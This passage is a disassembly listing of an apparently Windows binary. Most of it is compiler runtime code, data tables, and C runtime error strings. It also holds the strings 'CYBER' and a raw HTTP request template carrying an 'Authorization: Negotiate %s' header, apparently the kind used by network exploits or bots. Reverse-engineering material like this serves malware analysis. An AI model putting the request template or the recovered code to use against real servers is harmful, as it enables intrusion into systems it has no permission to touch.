		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27E10BBh
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 263117Ch
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 263117Ch
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 27F0000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 26007F3h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 27E10BBh
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27E10BBh
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26007F3h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E06F9h, 25F0000h, 25F09F2h
		dd 25F0ACBh, 25F0EDAh, 2600000h, 26007F3h, 2610000h, 26104F6h
		dd 2610735h, 2620000h, 2620361h
dword_42703C	dd 26203BBh		; DATA XREF: ___:004231D9r
		dd 2620495h, 2620714h, 262076Fh, 262084Dh, 2630000h, 263117Ch
		dd 2640000h, 264040Ch, 2640839h, 77E75CB5h
dword_427068	dd 2640871h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2640AE7h, 2650000h, 2660000h
dword_427078	dd 2660545h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 266057Dh		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26606EFh
dword_427084	dd 266079Ah		; DATA XREF: sub_4196BC+B9r
		dd 2660D42h
dword_42708C	dd 2660D84h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2670000h		; DATA XREF: ___:loc_4013DCr
		dd 26702CFh, 26703ADh
dword_42709C	dd 267047Ch		; DATA XREF: sub_409B12+2r
		dd 2670586h, 2670637h
dword_4270A8	dd 2670B87h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2670C48h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2680000h, 2680DFAh
dword_4270B8	dd 2690000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 2690337h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26A0000h, 26B0000h, 26B05ADh, 26C0000h, 77F7E300h, 77F7E21Fh
		dd 26C05EBh, 26C0784h, 26D0000h, 26D09C8h
dword_4270E8	dd 26E0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26E08D2h		; DATA XREF: sub_418293+36r
		dd 26E0AA6h, 26F0000h
dword_4270F8	dd 26F054Fh		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2700000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2701469h, 2710000h, 2710AF1h, 2720000h, 2720950h, 2730000h
		dd 2730316h, 2740000h, 2740C95h, 2750000h, 2750087h, 27501DDh
		dd 2750B7Fh, 2760000h, 27604B1h
dword_42713C	dd 27607ACh		; DATA XREF: sub_416F1A+BCr
		dd 2770000h
dword_427144	dd 2780000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 2780B5Bh		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 2780BD5h
dword_427150	dd 2790000h		; DATA XREF: sub_417275+56r
		dd 2790283h, 27A0000h, 27B0000h, 27B0692h, 27B0BC8h, 27C0000h
		dd 27C01C4h, 27C08B6h, 27D0000h, 27E0000h
dword_42717C	dd 27E10BBh		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 27F0000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 27F1213h, 27F16EFh, 27F1BC8h, 2800000h, 2810000h, 2820000h
		dd 2830000h, 2840000h, 2850000h, 2860000h, 28617A4h, 28617CDh
		dd 2870000h, 2880000h, 28800ECh
dword_4271C0	dd 28806BAh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 2880850h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 2880A2Dh, 2890000h, 2890782h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
